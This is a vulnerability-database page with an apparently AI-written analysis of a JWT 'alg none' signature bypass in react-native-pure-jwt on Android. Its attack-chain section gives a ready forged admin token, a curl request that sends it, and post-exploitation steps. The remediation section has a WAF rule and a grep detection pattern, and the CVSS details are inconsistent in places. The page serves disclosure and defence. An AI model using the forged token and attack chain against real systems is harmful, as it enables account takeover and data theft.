CVE Professor
/
All CVEs
CVE-2026-138378

CVE-2026-138378 — Zaguiini React-native-pure-jwt — CWE-347

HIGH CVSS 9.1 NVD

react-native-pure-jwt before 3.1.1 on Android contains a signature verification bypass vulnerability that allows unauthenticated attackers to forge tokens because RNPureJwtModule decode() calls JJWT parse() without algorithm pinning. Attackers can craft a token with header alg none and an empty signature to have arbitrary claims accepted as verified, forging identities or roles.

react-native-pure-jwt before 3.1.1 on Android contains a signature verification bypass vulnerability that allows unauthenticated attackers to forge tokens because RNPureJwtModule decode() calls JJWT parse() without algorithm pinning. Attackers can craft a token with header alg none and an empty signature to have arbitrary claims accepted as verified, forging identities or roles.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
Attack Vector Network AV:N
Attack Complexity High AC:H
Privileges Req. None PR:N
User Interaction None UI:N
Scope Unchanged S:U
Confidentiality High C:H
Integrity High I:H
Availability None A:N
AI Security Analysis & Remediation

🎯 What is this vulnerability?

Vulnerability ID: CVE‑2026‑138378
Affected component: react-native-pure-jwt v ≤ 3.1.0 (the library is bundled in the Android part of a React‑Native application)
CWE: CWE‑347 “Improper Verification of Cryptographic Signature”

Technical flaw

react-native-pure-jwt provides a native module (RNPureJwtModule) that exposes two JavaScript‑visible functions:

  • encode(payload, secret, options) – creates a signed JWT.
  • decode(token, secret, options) – verifies the signature and returns the decoded payload.
  • In version 3.1.0 and earlier the decode() implementation does the following (simplified):

    public WritableMap decode(String token, String secret) {
        // token is a string like header.payload.signature
        Claims claims = Jwts.parser()
                           .setSigningKey(secret.getBytes())
                           .parseClaimsJws(token)   // <-- JJWT library call
                           .getBody();
        // …convert claims to a WritableMap and return
    }

    The critical mistake: the call to Jwts.parser() does not pin the expected signing algorithm (alg) to a known, strong value (e.g., HS256, RS256). The JJWT library, when invoked without an explicit requireSigned() or setAllowedAlgorithms() call, will accept any algorithm that the token header declares.

    If the attacker supplies a token whose header contains "alg":"none" (the none algorithm defined by RFC 7518) and leaves the signature part empty (i.e., the token ends with a trailing dot), JJWT treats the token as unsigned and, because no algorithm is enforced, it returns the claims as if they were cryptographically verified.

    Consequences:

  • Signature verification bypass – the library believes the token is authentic even though no secret or private key was used.
  • Arbitrary claim injection – the attacker can set any claim (sub, role, exp, custom fields) and the application will accept them as trusted, leading to identity/role forgery.
  • The CVSS vector (AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N) reflects:

  • Network‑only attack (no proximity required).
  • High attack complexity – the attacker must know that the app uses this library and must craft a correctly‑structured JWT.
  • Privileges required – none (any unauthenticated user can send a forged token).
  • User interaction – none (the token can be supplied via an API call, deep‑link, or any client‑controlled header).
  • Impact – High confidentiality and integrity (claims are trusted), No impact on availability.

  • ⚡ Attack Chain

    Below is a realistic, step‑by‑step exploitation flow for a typical React‑Native mobile backend that validates JWTs sent in the Authorization: Bearer <token> header.

    1. Discovery & Reconnaissance

    StepActionTools / Evidence
    1.1Identify the mobile app’s backend API endpoints (e.g., /api/v1/profile).Intercept traffic with Burp Suite, mitmproxy, or Charles Proxy while the app communicates with its server.
    1.2Observe that the server expects a JWT in the Authorization header and returns 401 Unauthorized when the token is missing or malformed.HTTP 401 response with body “Invalid token”.
    1.3Determine the JWT library version used by the client.De‑compile the APK (apktool → classes.dex → jadx) and locate package.json or node_modules/react-native-pure-jwt. The package.json will list "react-native-pure-jwt": "3.0.5" (or any < 3.1.1).
    1.4Correlate the version with public vulnerability databases (e.g., NVD, GitHub Advisory) and find CVE‑2026‑138378.Search “react-native-pure-jwt CVE”.

    2. Exploitation

    Goal: Obtain a JWT that the server will accept as valid, but whose claims are under the attacker’s control.

    2.1 Craft the malicious token

    A JWT consists of three Base64URL‑encoded parts: header.payload.signature.
    For the none algorithm the signature part is omitted (empty string).

    # Header (alg = none, typ = JWT)
    eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0
    
    # Payload (example: user id = 1, role = admin, exp = far future)
    eyJzdWIiOiIxIiwicm9sZSI6ImFkbWluIiwiZXhwIjoxOTk5OTk5OTk5fQ
    
    # Signature (empty)

    The final token (concatenated with dots) is:

    eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiIxIiwicm9sZSI6ImFkbWluIiwiZXhwIjoxOTk5OTk5OTk5fQ.

    2.2 Send the token to the target endpoint

    Note – The exact endpoint is illustrative; any API that validates the JWT will be vulnerable.
    curl -i -X GET "https://api.example.com/v1/profile" \
         -H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiIxIiwicm9sZSI6ImFkbWluIiwiZXhwIjoxOTk5OTk5OTk5fQ."

    Expected server response (if vulnerable):

    HTTP/1.1 200 OK
    Content-Type: application/json
    
    {
      "userId": "1",
      "username": "admin",
      "role": "admin",
      "email": "[email protected]"
    }

    If the server correctly rejects the token, it will return 401 or 403.

    2.3 Verify the bypass

    Repeat the request with a different payload (e.g., role: superadmin). If the server returns data associated with the new role, the bypass is confirmed.

    3. Post‑exploitation

    Once a forged token with elevated privileges is accepted, the attacker can:

    ImpactExample Action
    Privilege escalationAccess admin‑only REST endpoints (/api/v1/users, /api/v1/settings).
    Data exfiltrationPull confidential records (/api/v1/transactions?limit=1000).
    Business logic abuseCreate, modify, or delete resources (e.g., create new users, change pricing).
    PersistenceGenerate a long‑lived token (set exp far in the future) and store it for later use.
    Lateral movementIf the backend forwards the JWT to downstream services (micro‑services, SSO), those services will also trust the forged token, widening the attack surface.

    Because the vulnerability is purely a cryptographic verification bypass, there is no code execution on the server, but the integrity of the authentication/authorization model is completely broken.


    🌍 Real‑World Impact

    CIA TriadCVSS Vector InterpretationPractical Consequence
    Confidentiality (C)VC:H – High. Attackers can read any data they are authorized to see once they forge a token with the appropriate claims (e.g., role: admin).Exposure of PII, financial records, proprietary business data.
    Integrity (I)VI:H – High. The server trusts attacker‑supplied claims, allowing unauthorized actions (create/modify/delete, change configuration).Tampering with records, privilege escalation, fraudulent transactions.
    Availability (A)VA:N – None. The flaw does not directly cause denial‑of‑service.No direct impact on service uptime.

    Business impact can be severe for any mobile‑first SaaS, fintech, health‑tech, or internal enterprise app that relies on JWTs for authentication/authorization. A successful exploit can lead to full account takeover, data breach, and regulatory non‑compliance (e.g., GDPR, HIPAA).


    🛡️ Remediation & Mitigation

    1. Patch / Upgrade

    ActionDetails
    Upgrade libraryMove to react-native-pure-jwt ≥ 3.1.1. The fixed version adds explicit algorithm pinning (setAllowedAlgorithms(Arrays.asList(SignatureAlgorithm.HS256))) before calling parseClaimsJws.
    Verify versionIn the mobile source tree, check package.json or yarn.lock for the exact version. Deploy the updated bundle and rebuild the Android APK.
    Re‑sign and redistributePublish the new version to the app stores (Google Play, internal enterprise distribution).

    2. Immediate Workarounds (if patch cannot be applied instantly)

    WorkaroundImplementation
    Enforce algorithm on the server sideModify the backend verification code to reject tokens where alg is "none" or any algorithm not explicitly allowed. Example (Node.js with jsonwebtoken):<br><br>``js<br>const allowedAlgs = ['HS256', 'RS256'];<br>jwt.verify(token, secret, { algorithms: allowedAlgs }, (err, payload) => { … });<br>`
    Reject empty signaturesIn the verification routine, check that the third JWT segment (signature) is non‑empty before calling the library.
    Add a WAF ruleBlock inbound Authorization headers that contain a JWT with "alg":"none".<br><br>ModSecurity example (Apache/Nginx):<br><br>`apache<br>SecRule REQUEST_HEADERS:Authorization "@rx ^Bearer\s+([A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\.)$" "id:100001,phase:2,deny,log,msg:'JWT with alg none (empty signature) blocked'"<br>`
    Rate‑limit token‑validation endpointsPrevent brute‑force attempts to discover the bypass by limiting requests per IP (e.g., 30 req/min).
    Monitor for anomalous claimsAlert when a token contains unusually high exp values (e.g., > 10 years) or a role change from user to admin` without a corresponding login event.

    3. Detection – Indicators of Compromise

    Log sourceTypical pattern
    Web server / API gatewayAuthorization: Bearer <header>. <payload>. (note the trailing dot) – the signature part is empty.
    Application logs“JWT verification succeeded for userId=… role=admin” without a preceding successful login event.
    Authentication audit logsSudden appearance of admin‑level actions (e.g., POST /api/v1/users/create) from an IP address that never performed a login.
    WAF alerts (if rule above is deployed)Msg: JWT with alg none (empty signature) blocked – indicates an attacker probing the bypass.

    Sample grep (Linux) to find empty‑signature tokens in access logs:

    grep -E "Authorization: Bearer [A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\." /var/log/nginx/access.log

    ⚠️ Urgency

  • CVSS 9.1 (Critical) – High confidentiality and integrity impact, network‑only, no authentication required.
  • Exploit complexity – Medium to high (requires knowledge of the library version and crafting a valid JWT), but the required skill set is common among modern attackers.
  • Public disclosure date – 29 Nov 2026; no CISA KEV listing yet, meaning many organizations may be unaware.
  • No known mitigations in older versions – The library does not provide a configuration switch to enforce algorithm pinning; the flaw is baked into the code.
  • Patch priority: Critical / Immediate for any production system that:

  • Accepts JWTs generated by react-native-pure-jwt (or any JWT that could be supplied by a malicious client).
  • Uses the token for authorization decisions (role‑based access, resource ownership).
Recommended timeline:
TimeframeAction
0‑24 hVerify the library version in all mobile builds; apply the WAF rule and server‑side algorithm check as a stop‑gap.
24‑72 hBuild, test, and roll out the upgraded library (≥ 3.1.1) to all Android clients.
≤ 7 daysComplete full inventory, ensure all downstream services also enforce algorithm restrictions, and retire any legacy tokens still in circulation.

Failure to remediate promptly can lead to full account takeover and data breach within days of public awareness.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="zaguiini react-native-pure-jwt"
PoC & Exploit Intelligence (GitHub)
Technical reference / advisory repository for CVE-2026-138378
Technical reference / advisory repository for CVE-2026-138378
Technical reference / advisory repository for CVE-2026-138378
CVSS Score
9.1 / 10 · CVSS HIGH
Weakness Types (CWE)
CWE-347
Affected Products (1)
zaguiini:react-native-pure-jwt
References & Advisories (4)
Related CVEs
9.2
CVE-2026-115977
Improper verification of SAML responses in the bundled dotSAML plugin in dotCMS versions prior to 26.10.22-01,
7.0
CVE-2026-77302
go-witness and witness are Go modules for generating attestations. Prior to version 0.12.0, a signature-verifi
0.0
CVE-2026-142398
Improper Verification of Cryptographic Signature vulnerability in Drupal Stripe API allows Signature Spoof. Th
0.0
CVE-2026-142429
Improper Verification of Cryptographic Signature vulnerability in Drupal Protected Download allows Signature S
0.0
CVE-2026-142432
Improper Verification of Cryptographic Signature vulnerability in Drupal Skribble Digital Signatur Integration
0.0
CVE-2026-142436
Improper Verification of Cryptographic Signature vulnerability in Drupal Commerce Checkout URL allows Signatur
8.5
CVE-2026-107667
A vulnerability allowing a low-privileged local user to execute arbitrary code with the privileges of the Veea